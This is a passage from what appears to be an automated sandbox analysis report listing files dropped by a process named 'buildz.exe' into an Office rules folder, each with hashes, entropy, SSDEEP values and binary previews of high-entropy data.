SHA-512:	5E3A1D892BE3ED350DFCB4CB7FDBB3560F37B865A891936B194CD09D69C7FC1EDEDC9B898060DF810F67F2CF7A62268EA51EFE98723B599ACEF494C82A321A2D
Malicious:	false
Reputation:	unknown
Preview:	.<?..U.m...s,...........sd.h^.I..`.=.{O...E.e..Ud^I......bG...\........-'........j2N#x8..T.i.y.....#.2.X..0-......"+N<S3.F.d.q..>~.]V...c...n-...... Q.D....yy.L.=s./..........hr..P....0....J+.H..Q.;`....k......ev`./......Ko..Z.v.L.p.c.wi.%.j....Bk:.f.>..V......c<..........~E.Jko....{.oO...8k..r.................S.V..........d.T+.....c.x..-....!$EUe%W................d^ .01 .~...D..0..0../.rt..8...c.O.k.....x.....+..U-..':.l.p.G.(!I.:..%m..R.t.:....Yw8...cO....H.].....!F.O....=^.R5...0...D.\D...0....D.U...U...."6Iv-......;{..=o..l..Tw.._,...5.(.)2a.(.XJ[.c."..w/...4jk.=.....M^.A..;R3.T#....X...-.xj.&....?.....c..6}.Sj.Ua...GO.;p..b...N. ...#{..6......5..."...t.K..m...N:_D.?......=....-..&!..D.T..X@.y...qo.M......3...9...J;*...?F.`a...B..-..<.......Sb.....].L.).3.@........Bky).J.hh0~....)$....(....$.;..v..[D..S.$.nf.J.t.m.9q5.q&S}z...R,O.Oi.I...g9.......p....>~.sl%W...6..0o.Y...c[I..".T."\` ..oFz..>d......iG.d......zy....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1745
Entropy (8bit):	7.887412928169257
Encrypted:	false
SSDEEP:	48:DbJsKD6tLv7Go/RfkdUKUwY77DiBuRoBp/zOD:xEDlWwD/iQRoTy
MD5:	16541B6F2DD050ECCA716F71370E98C1
SHA1:	3D2FFC8ECD80D37B2FDC8B2C0F5AB714738E3CCE
SHA-256:	CC22993D55538F9FA4254DEFFD3F7C3C02AA7A4CAD901733D5BF5F0D6591F2D6
SHA-512:	CC828ADB9658A94DC987218C99389221DA01BB3898711AAE0F177C7A83726954C381686327FE53697F648D98CDA18471D7F3803A5C4535884069B4C3D9205CD7
Malicious:	false
Reputation:	unknown
Preview:	.<??...V...q1.hO,d......\|......1.u.....h."=..............UyO/.m...s....wZ..P.atR.U]...v.....n!.qu...\|...\|.rw...E.Kd..G..}.......:..(A.>-#.i.]..D....W.R..<......pi.R...E..<...E!5v.8...4..7q./1.v.^..I.;....a..e.!FB..AH.#).\.<.6V7.q.cD.j..`Z.#.j"....c...PO....s.C..e.H...'...ww..;.q.....+.....wZ..rv..^~...`..Km.V.XM....5.$.........G.C.....O.l.6..K .L{...2X.r:......?........E.aW_Z.I....:C..A.#.L...........9.2#......U..M.M:.=.....v...d~h..:...}.s..>.\2O...+..........&m.......:.....C..]b...~.wm....c....A......e.W.3'.....%.^.UtX......B..{.....q.r.c7.+%+H.6l...j..k..}3.a...T.I$....({...)@..!.......w....q.....).gj.......Ag...2..9..Q.#.g.~8.j{ ...bq.N..D..^.X.@...v.n..%.C.F:U...x..%..\..v.O.8...YH..I.....;.........Bb?0.?.N...s@.u...+..z...cf.....t9N..\|..WH...'..pZ....O.KF...`..c.o..(...z.y-.X...V=...`.b..$..w..{^...\|.K..9.8$.G5.....*.Vf...Y...1....?.f.c.8aC..C.<5..\|.=..lo..>.D....qfM2..b..c..6.fb.[...-.u.~...i....X........3.......o.`R?..0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.867601864388821
Encrypted:	false
SSDEEP:	24:2jblHWU0L8IW9PvAWbCnLnvalMg41LfUYDNsqSCcBt519pSP9qIiWrPjGc04Pn0/:QHI2KnvaiTpyOcn9pK9qlc70OnKD
MD5:	6F8DB3E1DB5303BF837E84E5EB54D2D3
SHA1:	2BC3BD25642FE2F4660CE8AA1DC26493F873C6A9
SHA-256:	C1D9BEB102AA37686B41DB1CE39C590FA60B188266290C9CB3C1A98C50E86D5D
SHA-512:	A6116A371A1B1AD96D2D8D27CA48580DA29CF3BBA14DE907FBEBB76816C54C575269D29CAB6DE2B2505778AE924C943A6F8FF83B2ACAE34200C1D215DBC91BDB
Malicious:	false
Reputation:	unknown
Preview:	.<?.4........_...+ _(.9.1Z.i....%.C.;Z~+.$h.Dl.bC^.P.RC....v..0.Gr"..-_G.R..n.....!.....4`...4.#.........6Jeh.sHs.......=...(W4..~5..../j....U"[_.2yk..(...QT.......d....I...U.....m9?f...]M..#?...r..%.:4....Y....=L?...6...[..e .e.D3....~0......8...;.A.........;..d.^F. ....YU..o>...$.#.}..%...!\....t.e.E.A(.W..1].."lr..<.<.T.......(.A............F.).b~..C...BU`...2.K.v.`O.-/O.....z.f6.+.....\|..,.l);.'.....ga..Y..0....-u..,.^.8t`z]....v.~)g.<.H.u..2....{.K ......C..[.g..,..F..15.Y.....&.w."+.....'-....hRq#...q.tFp..EIH...bI..U.}FJ..g;......yw.$.c.tV.).P..{.U..e.=p..^i...AvD.....v.....z..SDe..I.t`z..J...9...~......d..a.#..bF...O...lP..kRL.........=6.m.e..3x.%7....z...,.....U-.W.`3.w..S.......5l...79.........H...."........7.6._....,...J....<....g.d...N.r_.v..Z..%y.m ...Q.....q.U........=DG......hhsM...$......K!)...-.$...aK.C.M...@....Y...].....].3<}3....ls<...:%.z.7}.r.<..>.C?'....[y.....5.cCm../......APd....Y..`.../.G.4s.....X...:E...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.892929603051389
Encrypted:	false
SSDEEP:	24:ioXtnyYm1FXYOk/6hXWjnS3YzOz8lxEQwzmqZBOG9JxW2INUaoMC1h1+zBfWbD:TyhLlMzOzk5O3vPuN/oMCEdED
MD5:	F87D0CE3BBC4F9F15304D15AD5A8CAFB
SHA1:	C64C35C4CB6CBBB7650B1B7B5C278873E7CA1760
SHA-256:	93C898F55B29410282649F1A2DA7C955B2A4A5C845FE04CCFE7F85EFE068BEB9
SHA-512:	3EC33C1168DB37862234D530080E8FEEF2DBA3C2B807D9DB199E35C07CDBE0C6ABFE963486DCC0BA0C347D75F58FD15E7F05856F00FF6B66F41A3876F9B7EAA2
Malicious:	false
Reputation:	unknown
Preview:	.<?.D;...,.4U....8.G]..Qd.+ ..8....S..{....>..c...m..u#y.H...3g.......Y.E)$...u...5....%..9b4.H..<..L5..mS~..S....Z2.\.wO...<.K.j[..Z"...W...z...+..U....7l:p..p..tQ..,..cF....T..z...O.!.t..v......d.V..J3V..{$.;..H.o..+.n....\|.}....3...v.......Fl.`...#.]....uaK......B..Q....j>7...:Dg...h]$9.._n9...1..1...2.ha6...p.IT.+A..c.j5.p.QR..>..:..A+!#N..@.(.9.$8.....o...LmJ.LM.$.....i...~7...Yk...b.a?.&.U.9.,.....N...1..gN..c.'.%.........O....}..1q.]/.9......r....x}.X.S.............H.. S.n..6.X.K8..>.0..jV.g..X.u.@.......o..].i.>x...(J..{m.....x.e...........`.?)....f(..,?~........j../(....#..F.R..L3%N....,..!.X....q...-B.\O.<...`.:..c..L.zHc...;..@.d8.jm1.....7...[.6...B..ci.M.2.}.;...`#.V..:.?.u...6my3.\..Kf..E.ER.SpY.[.R{6..p...\..z.A.....8.a.q..B?....q.....k.N..C\rg.F..9Wl.G..D-.-@..c.=.....V...T..Q.9.X..>K........>"V3...$..0..B:\|NP._:`.......gF...&&.\._.Tk...f.,,s...H./.. .U........d.I....Pi....3X....8.;5.z.a....?..nO.$.4.>.4...Da..9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.8934259785906775
Encrypted:	false
SSDEEP:	48:iDdMOU8A2ZH8D+v1phsiquxJ+FT9hwCmRJNWSOQD:WMJ8xr1PWuxJ+F9iCKJNd
MD5:	1AF0C2D0670139BD68E182B02649126D
SHA1:	72875C359DBE8B2623C0360636410C832C2867AF
SHA-256:	002A93BCDAC1533BBBD4E7FCB892E2D36CD7A5EB1641C5E0ECAC4D0D5322C24E
SHA-512:	C2DA2F52C65DF0225CBF50D90A429C90C8594F3AC428AA02D08440AC92F9A0AED162C4527C481F9D1A1740A04D10533DE8B3A26F1C4CF930DB60EBA6B89D0952
Malicious:	false
Reputation:	unknown
Preview:	.<?....p.....4.k.^..._.....L.,Yb.f..>P.%.......D.l.w..Y..../.\..N7....EI2M...PUj.@Rk`(.Q.]...T}...0.<..S...#t..43..p.........Qm.../.h.JF..?.g.....f......+\|.@..... ...aB.......R.s..... ...&.>...5.[....@..]5d:gT.....).}..kT.x.!..N{\|...w..g.K.o.k.,..(F..F~...R....V.:;....y..4..07...n..Q...M......pRC..t.....~.....#.8..Gmu[\|..&...3.dT...<.\|.O`a..a....C.j.jt..m=.2<...$.16{u..4..\|YHYc....H.-.....c..4.s....A..........c..1..{....j.x...).g..\....,..8....9U.H4.5...{.J...6me..#...>.......0.X.<...S.......b..KJ..G.....+.Z..d..X...%.3...J.C..$...=W...(.s)P..a.......".T0..[;...f.+..k......DS.'....D.?D./..x.D\.T.....8....D5.p........O..v..$P...-..+.\|.".......ni......>~0.....=..[.\|..J.2.yd.*.wZ%...Q....;..)..D.o.2.......U.G.M..c....E..p.8M..Jm .Z...\2o..E($._{.... #...&...I.=.-...h..bk\|N.6...Ir.].4..<V`\|$u]....p%....MT.....i.. -...^?.....[.?S....G.@....67B...B...i..V..\|<W.P.@,.f......O..h..W.`K.w=......A.:..:..O....^./\.+...3S.&...J..Z..............2r.v

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.882760383727648
Encrypted:	false
SSDEEP:	48:VfneKvFspSgqGe4/Jm5GIVSujJDergdQm/pRUWm4SfhrD:VfeKWpPrDapOQUWxSfhH
MD5:	E8A9B477D181AF474EFE1B315B7654A7
SHA1:	3C1C5816F124EC0357579116FF2285D011FFFA60
SHA-256:	1328AE9015804ABB358C9471165982FBF2D0CB3C7864212F0094CDA9E64631F9
SHA-512:	EFFA3ED235E283B9ABDB581E4742F7E1EDA7CD81C001B49B5B73B24E8DCB060625C6DF9ECB36A047167B6D72E4477BE1414800B174496E78D4FC43A0CB92F97C
Malicious:	false
Reputation:	unknown
Preview:	.<?..we.~6..Y6..l. X. ..Y. ...~,.1'm...=....z>.....Jo..+...\|gC.... .1y...w.8....d..Pp.L.J.x.O.n..{..5.`..t.........3b.8h..z@.We/......f.0.......z....?Ry...\|A#..W....!....#(..E..+:...w3...l.x.JT.. ..v..+D)2..Y...q..<j.{.......5.#.Z....2B.Mf.."by.......;...1,...Uai...1...v...]...V......Z....M....NE...C.u.....mBM..]V.....u..b.. .Z.k.t.,`.........F9e!S.$p;y..M...D. ..:.3E....l)CJ..5.3...y......w...0Vf+.r.E..I....i:..~....j`..V.<{.I...b\.aH...M.aS\3....oP.X.v..B.o.=C.z.;f...WL~..M.{....~..&,.i..zw..<.e..<........vA$.C.VL..jg....gl3.F.e.y4.Y..u...&X...L.."Dx.;.;$.!LX...+..S..M.[S...O....s....#O. ....a..9...$.....9.mF......z%..........V.^..~.).}M.KPM..w7.?..Y3..W..".%..\....pM].$.....Z...6k...B..~^._.[u*.x...s........`?.Z...E..Sn".[....9..Br...O..h...P...M.F..0.5.=.....I...'Ve..a.b.E.......7...}....xd......d...T..Bw...i.I0.......5T.Y..::.C(.........f.?F. ...=.X......8.n7..Gx..]6..L...........)........^.gC.S+na.Z.dsH.s..3...j..CX.v..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.9037229802808255
Encrypted:	false
SSDEEP:	48:aNa9GSwp3kz4QpeMcjJxyPF0Xn1xsIEjxx5U8wN8jLR3uZD:eacSCye1jJVCxfFA
MD5:	29BBE052E3D1FFA0178CBB574204F0F4
SHA1:	D045ED28225F01559BDE484591BB1F7FBDCAADC1
SHA-256:	E9A930B6902418AAD4B60FD98210362725BD68F89BF8DA262786FE957786A8F9
SHA-512:	90372B2B34B9032EBBCB41D8D0C14CC019DF4B8D9F2D1C01907D69585F7AA071BFA518E29074436C78D5B4344F265D1F18F495DCBB3FCDD9B2037424613411DF
Malicious:	false
Reputation:	unknown
Preview:	.<?.....H.l.).z......R!....p;=.....E.u.........J.G..u...4C..3.Z...z....>..OG....}.....xy.n..Y..........3]pp..=..B....,oL "..&...F.'.....2..I.x+.-..C..]...B..b.%$..~.]D.....N.VHh.i>s..vA.......n..Nj.0.}?(2i..p.mw..M.....N.j.j....f.i.Yed...n...JY...u+.-.iq'.. .y!.na..=a.[..{..j.'{<o..j.....$}........`u..8W..Q4....#....9.@.J:1q .N.....{.p..\b..;..g.Kl.....Q........}X_w..i...#.....0......u.L^0..3..(..........H.V.t2x.....X..T.. D.P../K..Ye..e...0.........H.Ek?~}{......5....G[....U...%..t...F.V...b&>..V}E..Ld;l...U..b.g..5.\pZ2.............j.U>.G...t.m.p.6......"."h.....hg.$....~...a......h..J.2..(O...OR.>..B....dk....`..O\f.........<yH..0.......ZdgXdm.`.;....A.0....5?q..!.%?5.G.Q...x...a.Fx.L.7.vc.Z.[..M.3...Q'.........A..4.}....(;..4V.u...Dg.......,.K.O....'....F.....s.l:T.q....l...Vd..m.p.o.D.....W.n6.^.#.....n.X.Y..$B..{V\8.-...*./{../q.U..0fr.t^l0T...d...fP2.gh.\|V..O. .....;.%..M.w..=.J..d......b..X.x.....5X.&.h.A..c..z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.886852443729137
Encrypted:	false
SSDEEP:	48:dpwg2RqWd9YMPBGCqCm8oVldiDTSgvXtD:X2RNBR5mDiD2gt
MD5:	F5BEFA212A403CE5A2E5027784131BBA
SHA1:	5B10D4E431CC6CA9B608B99C941C3B969A21C38C
SHA-256:	F46A2331F9C72ECDE71F651B442A744753B22F543FE7973E0AA70E79806F07C4
SHA-512:	F3D34B2E2D212E70850BD1BA46A14008D175C5712CD766ED8056A640E7BA59F552AEAEF93DFD7687137B4C450BE5B120C1216407B7F21892C93379EBCA27E48C
Malicious:	false
Reputation:	unknown
Preview:	.<?L..u...j#\|...[.S......5..v......e..2q/v....r.G...D...^E..E...9O..g..~.>h...T.&!jr.{4R.DZV..%.-.z...Z.[..9}......f..7..k.}.j....._.......I.?<Z@j../.we.n..$l.....0..u.....5.i.,(.......a(...._.x.....k.]O..3M..yCu..../3...L.?.s..7s.#.n..e......K.=....SjP.<.n...Eu.$.a........t...).W.>ok..$.Z?.?^v.S...F.Z..{,..X........e.#.....{..eQ!...G..rI..:^Lk...wY...^1.J.J.....Q..]<..T.N.V`....=..>Z.....0..v....K..%PZ..... x...4...,}.:.0AW.n..`&..S...[`._..@.]\_H.....t..c5.....R]`.V.........n#]...-.%....;'.K....O\|.....F4....;...0...9.9.7-@l..L.....M.{wEG`.08.....R.8.qq-.9~..Bv(.v...\.Qv.{.kHL.......`.TN...(v9..ta{c.....%0...S....83.4..m..%.=.H\...3.=.]...e.`..4...8..I.&.%. .:......2u..u"<.#.k..s5..+%..C.\|r...N..{=.\2..?..ZDA.4...........0.$..._(...E.....;......(n.E)..s-....[,..s.'`..^t.l<.......n.{...........x.6tL.#)"......<&......_...~b[HH.%.B.U"1\u...b...e*....0..L. .!....z.N. 6.\|R3x1....!....\.J.........@.-.>+.fjNzj(..G..V...:..OPJ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703350v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.886117020736262
Encrypted:	false
SSDEEP:	48:P4PjwUQroM2KEjXMbdedHlsOOq5YyAtUS5XmVFlwD:g7M2KEjMbdsH21uwH
MD5:	5C45B6E3B5CDB8F55AAE7DE988B64B12
SHA1:	183CC6A242D3D4E2F074C7C22B39EF46339517BA
SHA-256:	15D889B944BF8F9DA786D670599E076E4C662BD96508BACFE0514ACA8ECD7405
SHA-512:	26A3447B44E311FC92895C18355B13378E4F634844A3A37F12DCB38F148DD24F0312944BE4ED1E68F54376B347FB4D090521647A4E05E79D6CA5C382E831DF85
Malicious:	false
Reputation:	unknown
Preview:	.<?..R....=.a.4...z..2.r...O..Q....g...)//...B..X..Wq\|N.Q.....si.@..Ck.G.m...,.q.S....;@..UO...d.t'...M(.>......s...}f.\....U.p'd...'i...wkM.....:...8.8.sUt.T.. c.m.:...8....).W@UX ..:\|...t...e..5u..h4.8..#.~...H..SfjB.U...........8.X._9?...Z.......Zp...D..u....iD.'=.e.;....-....g..i/T......R...I...]....).r.D$.4d..?..L...4u9M..a&.JG.......{....M.._.3)..y...i..Zb.,j...xF...]Z.Be...h.:...s5.k..!p..%>...d:....R_....Gisb....>, .!o..R..@+R;.`..x..6.+.f......X!V\....D..[q\...N.\dj0ET5.....6..>......+X.lc....'......-..Y."4..cI..[..k....:/.^..M-.E.Q.{.G..aw...D..0.v..wK.$3...S.N........^.k<.....?MM...$$..[...k.lZ.p'....-....h.a.1^'.D...9fy).d.'..L0....C..........G-....Hk.L.....7.Bv..+.-.jJ#Q......%.;....v.\|.:}.3......g...EmXg...9...G\|...(V.(.k..;O\|i.....b.+. .(.....Q......).W:..ea.N.WWY..=...2.... ..w...o.N.2..c./.N0.........Ml)..~z........cpeY....)T.6N@s...=.u%{..1..dD...;n.+. .C)ak...[....P...Y].x").F........2oQ.dg.Og...q.S,i.>. r.ZL..ktbY

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703351v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.878368382496582
Encrypted:	false
SSDEEP:	48:FRQiedC8VvBmikutRCFhrYrr6nkbaSI0925D:D6C8VJnBR0hrYrrklSTi
MD5:	4AE1DB4DF5F71EB354741CB107969D63
SHA1:	3E7620044104B16C8CC5E1929C137E5FF3D3E8BB
SHA-256:	C576169E196207D98F029178FFFB3E107B7114B64665D3AF1200948692AC825E
SHA-512:	222331FEFB0FAB9141F665C1C7020CA12EEF7BCFEECCECAEE41E72DBEC4F55A8D0A46FB3EF463938415E00AC7080A874EC8DE7EBB91E0CBE6C48F1AC29D0A930
Malicious:	false
Reputation:	unknown
Preview:	.<?........f....<.%.X...`...^."7....oW@T...N........ml..&....h}..:....{..#.@M.Q.[.......1.n..!b\|7G...Al..E.'..:h..>...{.F.SL...E.5\...&.....e.(X.cJ1.U..<`.r.6........tc+............f...d..6A?.../cH..Sv0+.\|...Gz...s]......}..Pq9Mx.....{...&..e.....0]y....}.s.j...MW..Y...Tu7KA.%.U....#a`R..........,.R..:..@..qC1...\|K..k. ....[f.......b..:..P..&C..'.zZ...U.r.....i.@.l`......%.h.@..,..x.....q....?...5=...&.....`1...L.....;.....R~....q......5...Y.YHLf...............(.K./.ow%...hZ.V.!.....)g...L\|r..@%;.M...E..~.k.Z..........X...<.R..W'.Q].T`{$ K..)...]....I{....oe..o....y\|...."....A...{x. ..E.{6.d.....gI_......#..f....44...b.:.{.Y.Y`,..z......9..T.X..l.S?z.]/..3.Q;..}.<..jU....{....ONh...?..Y9a...:.[....Np....l.S.-..c....kIY..%...B..41(..H..=.YG..-7\|...I._...i<..c...\|.x.......(....9...l.....-.p%.Od.u_..~..N....,UF..rjH...&.HiG..s#4..K\{.GQ...%(.....G./...(x.?.../..\|2.G...oe4rd.p...Z.>...K.y.E.w.49..$n.j_5{.6..L.E._..n.exM.-g_....{2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703400v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.887544806522706
Encrypted:	false
SSDEEP:	24:ESCxd5290NOy6FF0FFrkfWV3CaU2QRFOvp+PXunS9mtitJhkzLqTdi0bD:ESCbNOPFF7OpYKwXuSgKJfIeD
MD5:	DD8FE73F788060659B3BEC9E99F64C5D
SHA1:	8A519C69362032338EDEB33B1E73DCC8203688B8
SHA-256:	86C0A0219656E9B3D59852BA6D0778F727EEC1F27292963C7F0A2A0557D83832
SHA-512:	DE58F4733C10BEA022CE716792D1AA9FCE659272EEBB52740C25A8E0C4ECDB21F1D1B6505536926BF2F71B4BA72134147CC2B4C60AEFEA735296071B62F2FC66
Malicious:	false
Reputation:	unknown
Preview:	.<?.....0......v..3.=.H7.3nQ...k.m9..?.'.U..4.....v............p.0..J.QHfO...`..1../.<.W.[....Af...P.xR...g..UPe.@I..I...F...'......H..5L1!pM.b......x........0WX+uS.vx;F.[7..JI...nA6.........X.?..";.'l..H.~....S0..@.....g~.`....M.Gn..&#........{>\|.#........^...j....1...R}.g4{...=vV.;.\| A....Z?.z..a.....n8.~.F41......22.<.;..X.L.4...Q...a1..K..<..>G.$......{.p;.5..N...mU.%..k..._..".-.......9Q-p.@..);I.F...n.....4.`...k.(.Rs.7+..C..3..2.....%.p...>DI..~..H.a.c.x.e.!.C.5.3..V.i ....M...E..?).._l.hvP......4Z.M..x...L.)R!..=...W(s....1.$M......4.\[*..v4...f.C......4Cr..=.P7).z.l.1....&!.!...D..rrUE.._.&.......D....,.rf....".A.#PgE`x..:."..j..I...r.p....+.z1.p.`p.4..f.Y...3K.B..x]<.E...;O.E.8....A.i......~..X..#Z..:......M.....<.svB.f.q...B..........L.!..N..W.Ki..5.F>...../........+...c......&HH..#...5.....).qQ...x...\|w...%..'7.f?.C.}8.....H.r...$...T.t.....cQ.S.5.....N}T]g.-..wpG.u.Onl..]..&g..m.\...a....e.E....pn..-....S.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703401v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1759
Entropy (8bit):	7.912228347586441
Encrypted:	false
SSDEEP:	48:9WmlBjKGNPGISO8JRNdH0I441ik1xthHgD:nlBWGNPSOibB8+3B8
MD5:	DAA2A821D5893626D4A7D24ECCEEE98C
SHA1:	0623AFD0FEFC3F619C7497CD0374593F8666E11E
SHA-256:	E09ED0FABCBCFEA6F393A31F40DC7CD029A79C64B1A212D02FA8B3794A574695
SHA-512:	C02B952CAEC01EBA24089AA89CC48053A9EE7286AC0661BA66A30B8986E170EEF5BE4B7773D837F3D624AC46C709B75A9631182D4FBB46B27AF8C1E22F99791B
Malicious:	false
Reputation:	unknown
Preview:	.<?S..]q.H9..h^&..f<....O)A.Ce...[......oh..^.G....p.r.....o.hr1....s.a....D`.M.)..Hs...;.nD....I...O..z...E...uN...C..z,.....d.$..;ph.A).E....c.6.....w...G..=Y.......$..V....$l..tH"4.y...8...#V.e.H...B.:../..I.K(iit .>..B...m..#..g(..P.5...:\..c....Ji..8..z.8PLNgXU..PLV.o..k>.....m1...2s....2>Ri........i...>.o...W!f.6.2...c_..S2&.h...A.....g.M!F.U..U&d-.>.;Vm..cL.V.!J._B......X.k,..+.......Z<}..Q..\|...v......m0.{.".@.....$.oIg.q.N.!.PdH8..@..U.{....k........a.m0....V........)..GZ.r.v.......5.......o0...+&{..+.C..3......\.T.yz7.v ...T.l..w...o. .u.@.8chYRc. O...^.PfT,.%t...\|5..:w.4....a.`y....).HXu/.C.){Q.<3K..F......WW...D...Pw...^Vf...xf........R.:).!.>....2Q....."..tq.'...............k]....9.ClIi......n"..,)M....\....Y..r`_..G?P#O..5-......rq.[.$.[.Iq.E;...o...7.=.....Z.D...#lo...^.g..GR .%.@.J.......S......W..>xr.;.(...U.uAU...X+..7_. ..Zj.afC.6...S._v...>.......5..{..7..k~.8\.Y{&J.m.;M+.~1...a..F..."...s_^K...MA.$@..~.,..Z.'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.883589559880492
Encrypted:	false
SSDEEP:	48:Gd4g30ZEj88dF8/Sw0ESGLakRuENwc5g1VHIMR1eD:GjV8ZVPaktNl6HRzm
MD5:	16F72148E1CB2361AE36DFCA5D2FD60C
SHA1:	EFC6E88974C97039B5D4104E69385EF5DD4CAA94
SHA-256:	9448CF0E788A3F4D841D713CF72DF8F84C9D1078ECAFFBCC9961B08AD4984A9E
SHA-512:	F12FF3CD06AD81B8E7F6AE3F290B87E9E0465A05193F329002E782B95AF298C54DF03FF26C3A6410B5920DE59AB076AC4884FA43B1379FD59E6CEA0472EDF772
Malicious:	false
Reputation:	unknown
Preview:	.<?D.{...m.".Me.57E.m..UA.....H.V....N..!Q9p.~.._......NXN.....H....:Wy.YC...d^q.\|..o.K.\|..~..&xB.6!..:.if.w.............,.6^i2.l.P...n......M....K......`.Ob.0.K....+!.b..6..C.9.{.;..Ww].."J/?.>...2..G.!. /.....3$.?.h...($Rk.ay4(..h`. .&..\.......y.'..4.......6.6.;....y.2..d.D.'2.+0.#.a!....../<...!%ylx..Y.@c.$.d?n...$..-b..;I..U...J-N...Nl..C(W.m.7b.....>f.f.X.;]Q..-l.......rn.D.K..!.T.XT....j.bK..qJ..Q.RU....=.......$5..n.N`.......';.>.Zf".(.mi..0/3y...o....u..S=........@o.L.8.8...}...J...>]...l..U~..?4...[.V^i.Z..U..X...3....C.....v....m..?.o..#E...u.n8EV.....hJ..-..3I..h..-5.C..:.......Q.?.<.VDU..g..x{.m......?R.........-.).q.....p/....m.Au...S..#.o...X..}..,q...hK..x.k..[KB(!.',-2..`YYs%.M..T.H...6E."g....^.p...&..a..IJOQ\|.}p..@..M..K....Y...0z&p...V%..A..Gjw.#{ =....T.zW!.FU5.K.. ..WZ.$<......w7bo.R\|q.=\.gp.I...<../0.2I..v.U...Y..y9...R.e...YA9...8.t...[P...t&9..vA.F`%..../...?h.:....G...[L..^..J.Aw...u.@.4...?...6.I.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.874044156461201
Encrypted:	false
SSDEEP:	48:z8aOfgOdWu+gcx99mhq2FAC4NGsyRwb5ClwCD:IaZOwe29mFAr+RolK
MD5:	9C498418C784942D2E1758C79EDF4385
SHA1:	B544CD6F8268A667BA2AB6CE8B23D455110A45BB
SHA-256:	204C451AD22905AA3F00F0B4F26D044B7493E2117E2C6AAF7E5E40A833BE3DAD
SHA-512:	3F5E97A3ECF7C628BF846AA174E76F55D8F8E2BBF5902F8DE1E5CB3C4FEA98421E49688E9509DE2F138612153FBB4AC5660469B47D5B4756A33CC8A2EE7EE375
Malicious:	false
Reputation:	unknown
Preview:	.<?oG..@.\|!.\.>..?.slw..2..vG)..s..d.%~`pO.&.... 95....Cn..y.4........q`Oals@..G0.p.....gC.....A.....y{...D..(..6.!5.CW..%'...../....[sC.OD.z..;J.iS....[.....ZMF..A\|n.cr.X`k.._..RI........\|h.le.Q......Q.f...?..[...W.E..[..gD.M.fW...$.."..`.._.....\|.k.+?W.qj.7S8...Xyh.....e......-".!.X.E.{..&t.9br...]..r.Z.#....`.1.2@.Z5..O;...C1-.W.Tp....K...TZ....i.KI..\.>Y.xW\........Af...m....-"d.?.%.1.+.3z.h...YO..[......f......W...a...q.&..y-._...I..-<r~.W..i..4...I.L..Gb.....u........c.Q_WW.+....'"...X.. ;.7IiG9...\|.0^.?..;'.u>R.O;....?..O.....zV.p^..71..P.d;..../h1[.J..t.@e!.!.]e.@Z..`=..G.W.?w.....Z...D&...3({.L[....\|..o3...iz8...P.G.l.O.?..~.f....w}C...e..,..........t..Ca...qq.0\.:.V....A/.....a.@.e....l/...vx.(.R.....G..........O..5...cJ..J..j..O.l=.$u...}.h.6.V.....T.1....~....l.E....N...Bqij....Pu..j.R.9. q...PZ.....M..OM....A.U9..B.1.K...v..E.#q`...b..4.....R..f[..&.1.6....L6n..1).@`.(N....U.{5.......Z....].Q...T..jx...N..;f..N8u.5k...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.889251062849303
Encrypted:	false
SSDEEP:	48:GNjFmlBEiGP5M0K1T03jovgYMLOc2kGg9aBGvUp4D:GNj2EfrK1G0gYMLO7k1ave
MD5:	A2744E28EE68FB63B7437EAE6EE2C815
SHA1:	31B6FE4E83297ED134AE70DEB33FF72AFC35A077
SHA-256:	AEB868CE6702871A709BD8999A68BCC60F8322EF5133F056A78420ADE7E74504
